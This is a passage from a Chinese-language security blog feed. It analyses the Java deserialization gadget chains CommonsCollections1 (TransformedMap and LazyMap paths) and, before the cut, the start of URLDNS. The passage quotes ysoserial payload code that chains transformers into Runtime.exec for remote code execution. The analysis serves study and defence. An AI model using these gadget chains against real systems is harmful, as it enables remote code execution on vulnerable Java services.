class="keyword">null</span>) &#123;  <span class="comment">// i.e. member still exists</span></div><div class="line">                Object value = memberValue.getValue();</div><div class="line">                <span class="keyword">if</span> (!(memberType.isInstance(value) ||</div><div class="line">                      value <span class="keyword">instanceof</span> ExceptionProxy)) &#123;</div><div class="line">                        memberValue.setValue(</div><div class="line">                        <span class="keyword">new</span> AnnotationTypeMismatchExceptionProxy(</div><div class="line">                            value.getClass() + <span class="string">"["</span> + value + <span class="string">"]"</span>).setMember(</div><div class="line">                        annotationType.members().get(name)));</div><div class="line">                &#125;</div><div class="line">            &#125;</div><div class="line">        &#125;</div><div class="line">    &#125;</div><div class="line"></div><div class="line">    ...</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>可以看到 <code>memberValues</code> 就是一個 <code>Map&lt;String, Object&gt;</code></p>
<p>而 <code>readObject()</code> 方法中，for 迴圈的寫法，實際上就恰巧用到了 <code>iterator()</code> 和 <code>next()</code> !</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">for</span> (Map.Entry&lt;String, Object&gt; memberValue : memberValues.entrySet()) &#123;</div><div class="line">    ...</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>這裡的 for 迴圈背後，實際上大致等同於</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">for</span>(Iterator iterator = memberValues.entrySet().iterator(); iterator.hasNext();) &#123;</div><div class="line">    Map.Entry&lt;String, Object&gt; memberValue = iterator.next();</div><div class="line">    ...</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>所以這裡我們就一口氣用到了剛剛沒串起來的 <code>entrySet()</code>, <code>iterator()</code>, <code>next()</code> !</p>
<p>最後面則去呼叫了 <code>memberValue.setValue(...)</code>，導致我們整條 chain 被觸發 !</p>
<p>加上是 <code>readObject()</code> 方法的關係，所以反序列化時會自動呼叫該方法</p>
<p>自動觸發整個反序列化 gadget chain，達到任意代碼執行</p>
<p>打完收工 !</p>
<p><br></p>
<h2 id="u7B2C_u4E8C_u689D_u8DEF"><a href="#u7B2C_u4E8C_u689D_u8DEF" class="headerlink" title="第二條路"></a>第二條路</h2><p>其實如果你去看 ysoserial 的 code</p>
<p>會發現它用的其實不是 <code>TransformedMap</code>，而是走我們現在要講的 <code>LazyMap</code> 這條路</p>
<p>概念都大同小異，就是想辦法找條路去觸發 transformer 的 <code>transform()</code> 方法</p>
<p><br></p>
<p>先來看看初始化的部分:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">static</span> Map <span class="title">decorate</span><span class="params">(Map map, Transformer factory)</span> </span>&#123;</div><div class="line">    <span class="keyword">return</span> <span class="keyword">new</span> LazyMap(map, factory);</div><div class="line">&#125;</div><div class="line"></div><div class="line"><span class="function"><span class="keyword">protected</span> <span class="title">LazyMap</span><span class="params">(Map map, Transformer factory)</span> </span>&#123;</div><div class="line">    <span class="keyword">super</span>(map);</div><div class="line">    <span class="keyword">if</span> (factory == <span class="keyword">null</span>) &#123;</div><div class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> IllegalArgumentException(<span class="string">"Factory must not be null"</span>);</div><div class="line">    &#125;</div><div class="line">    <span class="keyword">this</span>.factory = factory;</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>這裡 <code>decorate()</code> 一樣會去設定 Map 和 Transformer</p>
<p>而我們看一下 <code>LazyMap.get()</code>:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">public</span> Object <span class="title">get</span><span class="params">(Object key)</span> </span>&#123;</div><div class="line">    <span class="comment">// create value for key if key is not currently in the map</span></div><div class="line">    <span class="keyword">if</span> (map.containsKey(key) == <span class="keyword">false</span>) &#123;</div><div class="line">        Object value = factory.transform(key);</div><div class="line">        map.put(key, value);</div><div class="line">        <span class="keyword">return</span> value;</div><div class="line">    &#125;</div><div class="line">    <span class="keyword">return</span> map.get(key);</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>這裡直接就呼叫了 <code>factory.transform(key)</code></p>
<p>所以我們只要想辦法透過 <code>readObject()</code> 去呼叫 <code>LazyMap.get()</code> 就能觸發整個反序列化 Chain</p>
<p>但事情沒那麼簡單，找不到那麼單純的 <code>readObject()</code> 可以直接呼叫 <code>get()</code>  (至少我沒找到QQ)</p>
<p><a href="https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java" target="_blank" rel="external">CommonCollections1</a> 的方式是透過 Dynamic Proxy 的方式去呼叫這個方法</p>
<blockquote>
<p>代理模式:<br>是一種設計模式(Design Pattern)。簡單說，就是找一個代理人，然後把事情都丟給他做 (沒錯，就是進藤光跟佐為的關係)<br>而對於 java 靜態代理和動態代理不熟的讀者，推薦參考<a href="https://zhuanlan.zhihu.com/p/65501610" target="_blank" rel="external">這篇文章</a> </p>
</blockquote>
<p>我們直接看 ysoserial 中構造 Payload 的方法:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div></pre></td><td class="code"><pre><div class="line"><span class="comment">// Gadgets.createMemoitizedProxy()</span></div><div class="line"><span class="keyword">public</span> <span class="keyword">static</span> &lt;T&gt; <span class="function">T <span class="title">createMemoitizedProxy</span> <span class="params">( <span class="keyword">final</span> Map&lt;String, Object&gt; map, <span class="keyword">final</span> Class&lt;T&gt; iface, <span class="keyword">final</span> Class&lt;?&gt;... ifaces )</span> <span class="keyword">throws</span> Exception </span>&#123;</div><div class="line">    <span class="keyword">return</span> createProxy(createMemoizedInvocationHandler(map), iface, ifaces);</div><div class="line">&#125;</div><div class="line"></div><div class="line"><span class="comment">// Gadgets.createMemoizedInvocationHandler()</span></div><div class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">static</span> InvocationHandler <span class="title">createMemoizedInvocationHandler</span> <span class="params">( <span class="keyword">final</span> Map&lt;String, Object&gt; map )</span> <span class="keyword">throws</span> Exception </span>&#123;</div><div class="line">    <span class="keyword">return</span> (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);</div><div class="line">&#125;</div><div class="line"></div><div class="line"><span class="comment">// Gadgets.createProxy()</span></div><div class="line"><span class="keyword">public</span> <span class="keyword">static</span> &lt;T&gt; <span class="function">T <span class="title">createProxy</span> <span class="params">( <span class="keyword">final</span> InvocationHandler ih, <span class="keyword">final</span> Class&lt;T&gt; iface, <span class="keyword">final</span> Class&lt;?&gt;... ifaces )</span> </span>&#123;</div><div class="line">    <span class="keyword">final</span> Class&lt;?&gt;[] allIfaces = (Class&lt;?&gt;[]) Array.newInstance(Class.class, ifaces.length + <span class="number">1</span>);</div><div class="line">    allIfaces[ <span class="number">0</span> ] = iface;</div><div class="line">    <span class="keyword">if</span> ( ifaces.length &gt; <span class="number">0</span> ) &#123;</div><div class="line">        System.arraycopy(ifaces, <span class="number">0</span>, allIfaces, <span class="number">1</span>, ifaces.length);</div><div class="line">    &#125;</div><div class="line">    <span class="keyword">return</span> iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));</div><div class="line">&#125;</div><div class="line"></div><div class="line"><span class="keyword">public</span> <span class="keyword">static</span> Constructor&lt;?&gt; getFirstCtor(<span class="keyword">final</span> String name) <span class="keyword">throws</span> Exception &#123;</div><div class="line">    <span class="keyword">final</span> Constructor&lt;?&gt; ctor = Class.forName(name).getDeclaredConstructors()[<span class="number">0</span>];</div><div class="line">    setAccessible(ctor);</div><div class="line">    <span class="keyword">return</span> ctor;</div><div class="line">&#125;</div><div class="line"></div><div class="line"><span class="comment">// Reflections.setFieldValue()</span></div><div class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">setFieldValue</span><span class="params">(<span class="keyword">final</span> Object obj, <span class="keyword">final</span> String fieldName, <span class="keyword">final</span> Object value)</span> <span class="keyword">throws</span> Exception </span>&#123;</div><div class="line">    <span class="keyword">final</span> Field field = getField(obj.getClass(), fieldName);</div><div class="line">    field.set(obj, value);</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">public</span> InvocationHandler <span class="title">getObject</span><span class="params">(<span class="keyword">final</span> String command)</span> <span class="keyword">throws</span> Exception </span>&#123;</div><div class="line">    <span class="keyword">final</span> String[] execArgs = <span class="keyword">new</span> String[] &#123; command &#125;;</div><div class="line">    <span class="comment">// inert chain for setup</span></div><div class="line">    <span class="keyword">final</span> Transformer transformerChain = <span class="keyword">new</span> ChainedTransformer(</div><div class="line">        <span class="keyword">new</span> Transformer[]&#123; <span class="keyword">new</span> ConstantTransformer(<span class="number">1</span>) &#125;);</div><div class="line">    <span class="comment">// real chain for after setup</span></div><div class="line">    <span class="keyword">final</span> Transformer[] transformers = <span class="keyword">new</span> Transformer[] &#123;</div><div class="line">            <span class="keyword">new</span> ConstantTransformer(Runtime.class),</div><div class="line">            <span class="keyword">new</span> InvokerTransformer(<span class="string">"getMethod"</span>, <span class="keyword">new</span> Class[] &#123;</div><div class="line">                String.class, Class[].class &#125;, <span class="keyword">new</span> Object[] &#123;</div><div class="line">                <span class="string">"getRuntime"</span>, <span class="keyword">new</span> Class[<span class="number">0</span>] &#125;),</div><div class="line">            <span class="keyword">new</span> InvokerTransformer(<span class="string">"invoke"</span>, <span class="keyword">new</span> Class[] &#123;</div><div class="line">                Object.class, Object[].class &#125;, <span class="keyword">new</span> Object[] &#123;</div><div class="line">                <span class="keyword">null</span>, <span class="keyword">new</span> Object[<span class="number">0</span>] &#125;),</div><div class="line">            <span class="keyword">new</span> InvokerTransformer(<span class="string">"exec"</span>,</div><div class="line">                <span class="keyword">new</span> Class[] &#123; String.class &#125;, execArgs),</div><div class="line">            <span class="keyword">new</span> ConstantTransformer(<span class="number">1</span>) &#125;;</div><div class="line"></div><div class="line">    <span class="keyword">final</span> Map innerMap = <span class="keyword">new</span> HashMap();</div><div class="line"></div><div class="line">    <span class="keyword">final</span> Map lazyMap = LazyMap.decorate(innerMap, transformerChain);</div><div class="line"></div><div class="line">    <span class="keyword">final</span> Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);</div><div class="line"></div><div class="line">    <span class="keyword">final</span> InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);</div><div class="line"></div><div class="line">    Reflections.setFieldValue(transformerChain, <span class="string">"iTransformers"</span>, transformers); <span class="comment">// arm with actual transformer chain</span></div><div class="line"></div><div class="line">    <span class="keyword">return</span> handler;</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>先來看 <code>createMemoizedInvocationHandler()</code> 中的這段:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">(InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);</div></pre></td></tr></table></figure>
<p>上面這行就是對應到這段:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div></pre></td><td class="code"><pre><div class="line">AnnotationInvocationHandler(Class&lt;? extends Annotation&gt; type, Map&lt;String, Object&gt; memberValues) &#123;</div><div class="line">    <span class="keyword">this</span>.type = type;</div><div class="line">    <span class="keyword">this</span>.memberValues = memberValues;</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>所以 <code>createMemoitizedProxy</code> 實際上就是建立了一個 <code>Map</code> 介面的 Proxy (<code>mapProxy</code>)</p>
<p>並將 <code>memberValues</code> 設為 <code>LazyMap</code> 的 <code>AnnotationInvocationHandler</code></p>
<p>而下一行的 <code>handler</code> 則是建立 <code>memberValues</code> 為 <code>mapProxy</code> 的 <code>AnnotationInvocationHandler</code> 物件</p>
<p>這個 <code>handler</code> 就是我們要反序列化觸發 gadget chain 的惡意物件 !</p>
<p><br></p>
<p>關鍵在於，<code>AnnotationInvocationHandler</code> 反序列化時，會去呼叫 <code>readObject()</code> 方法，並且其中又會去呼叫 <code>memberValues.entrySet()</code></p>
<p>若 <code>memberValues</code> 是一個代理物件，就會去呼叫對應 handler 的 <code>invoke()</code> 方法</p>
<p>而 <code>AnnotationInvocationHandler.invoke()</code> 如下:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">public</span> Object <span class="title">invoke</span><span class="params">(Object proxy, Method method, Object[] args)</span> </span>&#123;</div><div class="line">    String member = method.getName();</div><div class="line">    Class&lt;?&gt;[] paramTypes = method.getParameterTypes();</div><div class="line"></div><div class="line">    <span class="comment">// Handle Object and Annotation methods</span></div><div class="line">    <span class="keyword">if</span> (member.equals(<span class="string">"equals"</span>) &amp;&amp; paramTypes.length == <span class="number">1</span> &amp;&amp;</div><div class="line">        paramTypes[<span class="number">0</span>] == Object.class)</div><div class="line">        <span class="keyword">return</span> equalsImpl(args[<span class="number">0</span>]);</div><div class="line">    <span class="keyword">assert</span> paramTypes.length == <span class="number">0</span>;</div><div class="line">    <span class="keyword">if</span> (member.equals(<span class="string">"toString"</span>))</div><div class="line">        <span class="keyword">return</span> toStringImpl();</div><div class="line">    <span class="keyword">if</span> (member.equals(<span class="string">"hashCode"</span>))</div><div class="line">        <span class="keyword">return</span> hashCodeImpl();</div><div class="line">    <span class="keyword">if</span> (member.equals(<span class="string">"annotationType"</span>))</div><div class="line">        <span class="keyword">return</span> type;</div><div class="line"></div><div class="line">    <span class="comment">// Handle annotation member accessors</span></div><div class="line">    Object result = memberValues.get(member);</div><div class="line">    ...</div></pre></td></tr></table></figure>
<p>會一直走到 <code>memberValues.get(member)</code></p>
<p>也就對應到前面講的 <code>LazyMap.get()</code></p>
<p>成功觸發反序列化 chain 執行 !</p>
<p><br></p>
<h2 id="u7E3D_u7D50"><a href="#u7E3D_u7D50" class="headerlink" title="總結"></a>總結</h2><p>這篇介紹了 CommonCollections1 的兩種 gadget chain</p>
<p>其中 <code>LazyMap</code> 的呼叫流程可以簡化成如下所示:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div></pre></td><td class="code"><pre><div class="line">ObjectInputStream.readObject()</div><div class="line">  AnnotationInvocationHandler.readObject()</div><div class="line">    Map(Proxy).entrySet()</div><div class="line">      AnnotationInvocationHandler.invoke()</div><div class="line">        LazyMap.get()</div><div class="line">          ChainedTransformer.transform()</div><div class="line">            ConstantTransformer.transform()</div><div class="line">            InvokerTransformer.transform()</div><div class="line">              Method.invoke()</div><div class="line">                Class.getMethod()</div><div class="line">            InvokerTransformer.transform()</div><div class="line">              Method.invoke()</div><div class="line">                Runtime.getRuntime()</div><div class="line">            InvokerTransformer.transform()</div><div class="line">              Method.invoke()</div><div class="line">                Runtime.exec()</div></pre></td></tr></table></figure>
<p>這條 gadget chain 的關鍵在於動態代理的利用方式，第一次看時腦袋會比較難轉過來</p>
<p>而另一條 gadget chain 就相對沒那麼複雜，是透過串 Map Entry 的 iterator 各種操作到達 <code>setValue()</code> 觸發整條 chain 執行</p>
<p><br></p>
<p>本篇文章分析了 Common Collections 漏洞中非常經典的 CommonCollections1 這條 Gadget Chain</p>
<p>而以 Common Collections 來說，除了 CommonCollections1 以外，其實還有 CommonCollections2, 3, 4, 5, … 各種 chain</p>
<p>如果我有時間的話，也許未來會再分析看看其他條 chain (吧)</p>
<p><br></p>
<blockquote>
<p>不知不覺又寫了一篇 Java，感覺繼續下去也許有機會變成一系列 Java 大合集 (?</p>
</blockquote>
]]></content>
    <summary type="html">
    <![CDATA[<h2 id="u524D_u8A00"><a href="#u524D_u8A00" class="headerlink" title="前言"></a>前言</h2><p>Common Collections 反序列化漏洞歷史在<a href="https://blog.kaibro.tw/2020/02/23/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BreadObject%E5%88%86%E6%9E%90/">上一篇文章</a>中有稍微提過</p>
<p>這個漏洞在 2015 年時，對整個 Java 生態系造成不小的影響</p>
<p>後續也愈來愈多奇形怪狀的 Gadget chain 被大佬們一一挖出來</p>
<p>而本篇文章就以 ysoserial 中經典的 <a href="https://github.com/frohoff/ysoserial/blob/477ecb8f05f42b0195a67d9712e97f2c6d31e1da/src/main/java/ysoserial/payloads/CommonsCollections1.java" target="_blank" rel="external">CommonCollections1</a> 這條 Gadget chain 來做分析</p>
<p>雖然網路上類似本篇的分析文很多，但只看文章其實很難體會到 java gadget chain 裡頭的精髓</p>
<p>強烈建議大家有興趣、有時間的話，可以自己拉原始碼下來跟一遍，相信可以收穫更多 !</p>
<p>p.s. 這裡我分析的版本是 <a href="https://archive.apache.org/dist/commons/collections/source/commons-collections-3.1-src.zip" target="_blank" rel="external">Common Collections 3.1</a> 和 <a href="https://github.com/AdoptOpenJDK/openjdk-jdk8u" target="_blank" rel="external">JDK 8</a></p>]]>
    
    </summary>
    
      <category term="Web" scheme="http://blog.kaibro.tw/tags/Web/"/>
    
      <category term="筆記" scheme="http://blog.kaibro.tw/tags/%E7%AD%86%E8%A8%98/"/>
    
      <category term="Java" scheme="http://blog.kaibro.tw/tags/Java/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[Java 反序列化之 URLDNS 與 GadgetProbe]]></title>
    <link href="http://blog.kaibro.tw/2020/02/26/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BURLDNS%E8%88%87GadgetProbe/"/>
    <id>http://blog.kaibro.tw/2020/02/26/Java反序列化之URLDNS與GadgetProbe/</id>
    <published>2020-02-26T14:03:18.000Z</published>
    <updated>2020-03-06T13:20:52.474Z</updated>
    <content type="html"><![CDATA[<h2 id="URLDNS__u5206_u6790"><a href="#URLDNS__u5206_u6790" class="headerlink" title="URLDNS 分析"></a>URLDNS 分析</h2><p><code>URLDNS</code> 是 ysoserial 工具裡面的一條 gadget chain</p>
<p>其主要目的是能夠對指定的 URL 發送 DNS Query</p>
<p>由於它不需要依賴第三方函式庫，原生 JDK 就能夠串起整條 Gadget Chain</p>
<p>所以一般在測試反序列化時，常會以 URLDNS 是否有發送 DNS 請求來判斷反序列化漏洞存在與否</p>
<p>尤其在實戰中常遇到嚴苛的網路環境限制，使得 HTTP/HTTPS 無法對外請求，只能透過 DNS 對外發送查詢請求</p>
<p><br></p>
<p>今天這篇主要就是來分析 URLDNS gadget chain 背後的原理，以及一些延伸的小應用</p>
<p>由於 URLDNS gadget chain 概念非常單純，所以非常推薦新手學習 Java 反序列化時，可以先從這個 gadget chain 開始看起</p>
<p>若直接從 Common Collections 系列或更複雜的利用鍊開始看，會相對來說吃力很多，很容易降低學習的熱情</p>
<p><br></p>
<a id="more"></a>
<p>先從 <code>HashMap</code> 的 <code>readObect</code> 看起:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title">readObject</span><span class="params">(java.io.ObjectInputStream s)</span></span></div><div class="line">        <span class="keyword">throws</span> IOException, ClassNotFoundException &#123;</div><div class="line">    <span class="comment">// Read in the threshold (ignored), loadfactor, and any hidden stuff</span></div><div class="line">    s.defaultReadObject();</div><div class="line">    reinitialize();</div><div class="line">    <span class="keyword">if</span> (loadFactor &lt;= <span class="number">0</span> || Float.isNaN(loadFactor))</div><div class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> InvalidObjectException(<span class="string">"Illegal load factor: "</span> +</div><div class="line">                                         loadFactor);</div><div class="line">    s.readInt();                <span class="comment">// Read and ignore number of buckets</span></div><div class="line">    <span class="keyword">int</span> mappings = s.readInt(); <span class="comment">// Read number of mappings (size)</span></div><div class="line">    <span class="keyword">if</span> (mappings &lt; <span class="number">0</span>)</div><div class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> InvalidObjectException(<span class="string">"Illegal mappings count: "</span> +</div><div class="line">                                         mappings);</div><div class="line">    <span class="keyword">else</span> <span class="keyword">if</span> (mappings &gt; <span class="number">0</span>) &#123; <span class="comment">// (if zero, use defaults)</span></div><div class="line">        <span class="comment">// Size the table using given load factor only if within</span></div><div class="line">        <span class="comment">// range of 0.25...4.0</span></div><div class="line">        <span class="keyword">float</span> lf = Math.min(Math.max(<span class="number">0.25f</span>, loadFactor), <span class="number">4.0f</span>);</div><div class="line">        <span class="keyword">float</span> fc = (<span class="keyword">float</span>)mappings / lf + <span class="number">1.0f</span>;</div><div class="line">        <span class="keyword">int</span> cap = ((fc &lt; DEFAULT_INITIAL_CAPACITY) ?</div><div class="line">                   DEFAULT_INITIAL_CAPACITY :</div><div class="line">                   (fc &gt;= MAXIMUM_CAPACITY) ?</div><div class="line">                   MAXIMUM_CAPACITY :</div><div class="line">                   tableSizeFor((<span class="keyword">int</span>)fc));</div><div class="line">        <span class="keyword">float</span> ft = (<span class="keyword">float</span>)cap * lf;</div><div class="line">        threshold = ((cap &lt; MAXIMUM_CAPACITY &amp;&amp; ft &lt; MAXIMUM_CAPACITY) ?</div><div class="line">                     (<span class="keyword">int</span>)ft : Integer.MAX_VALUE);</div><div class="line">        <span class="meta">@SuppressWarnings</span>(&#123;<span class="string">"rawtypes"</span>,<span class="string">"unchecked"</span>&#125;)</div><div class="line">            Node&lt;K,V&gt;[] tab = (Node&lt;K,V&gt;[])<span class="keyword">new</span> Node[cap];</div><div class="line">        table = tab;</div><div class="line"></div><div class="line">        <span class="comment">// Read the keys and values, and put the mappings in the HashMap</span></div><div class="line">        <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; mappings; i++) &#123;</div><div class="line">            <span class="meta">@SuppressWarnings</span>(<span class="string">"unchecked"</span>)</div><div class="line">                K key = (K) s.readObject();</div><div class="line">            <span class="meta">@SuppressWarnings</span>(<span class="string">"unchecked"</span>)</div><div class="line">                V value = (V) s.readObject();</div><div class="line">            putVal(hash(key), key, value, <span class="keyword">false</span>, <span class="keyword">false</span>);</div><div class="line">        &#125;</div><div class="line">    &#125;</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>由於 <code>HashMap</code> 中 Entry 的順序是根據 Key 的 Hash 值來計算並存放的，但是在不同 JVM 中，算出來的 Hash 值有可能不同</p>
<p>HashMap 為了保持反序列化後物件狀態的一致性，所以重寫了 <code>HashMap.readObject()</code> 方法</p>
<p>在過程中，重新計算 Key 和 Value 的位置，並填充進新的 HashMap 中，解決了上述的問題</p>
<p><br></p>
<p>我們可以注意一下對 Key 做 hash 值計算的部分：</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">putVal(hash(key), key, value, <span class="keyword">false</span>, <span class="keyword">false</span>);</div></pre></td></tr></table></figure>
<p>跟進去 <code>hash()</code> 方法：</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">final</span> <span class="keyword">int</span> <span class="title">hash</span><span class="params">(Object key)</span> </span>&#123;</div><div class="line">    <span class="keyword">int</span> h;</div><div class="line">    <span class="keyword">return</span> (key == <span class="keyword">null</span>) ? <span class="number">0</span> : (h = key.hashCode()) ^ (h &gt;&gt;&gt; <span class="number">16</span>);</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>這裡是對傳進來的 Object 呼叫 <code>hashCode()</code> 方法</p>
<p>而 URLDNS payload 中則選擇使用 <code>java.net.URL</code> 當作目標傳入</p>
<p>也就是說當 key 是 <code>java.net.URL</code> 的實例時，在 <code>hash(key)</code> 執行過程中就會呼叫 <code>key.hashCode()</code></p>
<p>所以來追進 <code>java.net.URL.hashCode()</code> 方法瞧瞧：</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">synchronized</span> <span class="keyword">int</span> <span class="title">hashCode</span><span class="params">()</span> </span>&#123;</div><div class="line">    <span class="keyword">if</span> (hashCode != -<span class="number">1</span>)</div><div class="line">        <span class="keyword">return</span> hashCode;</div><div class="line"></div><div class="line">    hashCode = handler.hashCode(<span class="keyword">this</span>);</div><div class="line">    <span class="keyword">return</span> hashCode;</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>當 <code>hashCode</code> 屬性等於 <code>-1</code> 時，會去呼叫 <code>handler</code> 的 <code>hashCode()</code> 方法</p>
<p>當 <code>handler</code> 為 <code>URLStreamHandler</code> 類別或其子類時，該 <code>hashCode()</code> 方法會去做 DNS 查詢:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">protected</span> <span class="keyword">int</span> <span class="title">hashCode</span><span class="params">(URL u)</span> </span>&#123;</div><div class="line">    <span class="keyword">int</span> h = <span class="number">0</span>;</div><div class="line"></div><div class="line">    <span class="comment">// Generate the protocol part.</span></div><div class="line">    String protocol = u.getProtocol();</div><div class="line">    <span class="keyword">if</span> (protocol != <span class="keyword">null</span>)</div><div class="line">        h += protocol.hashCode();</div><div class="line"></div><div class="line">    <span class="comment">// Generate the host part.</span></div><div class="line">    InetAddress addr = getHostAddress(u);</div><div class="line">    <span class="keyword">if</span> (addr != <span class="keyword">null</span>) &#123;</div><div class="line">        h += addr.hashCode();</div><div class="line">    &#125; <span class="keyword">else</span> &#123;</div><div class="line">        String host = u.getHost();</div><div class="line">        <span class="keyword">if</span> (host != <span class="keyword">null</span>)</div><div class="line">            h += host.toLowerCase().hashCode();</div><div class="line">    &#125;</div><div class="line"></div><div class="line">    <span class="comment">// Generate the file part.</span></div><div class="line">    String file = u.getFile();</div><div class="line">    <span class="keyword">if</span> (file != <span class="keyword">null</span>)</div><div class="line">        h += file.hashCode();</div><div class="line"></div><div class="line">    <span class="comment">// Generate the port part.</span></div><div class="line">    <span class="keyword">if</span> (u.getPort() == -<span 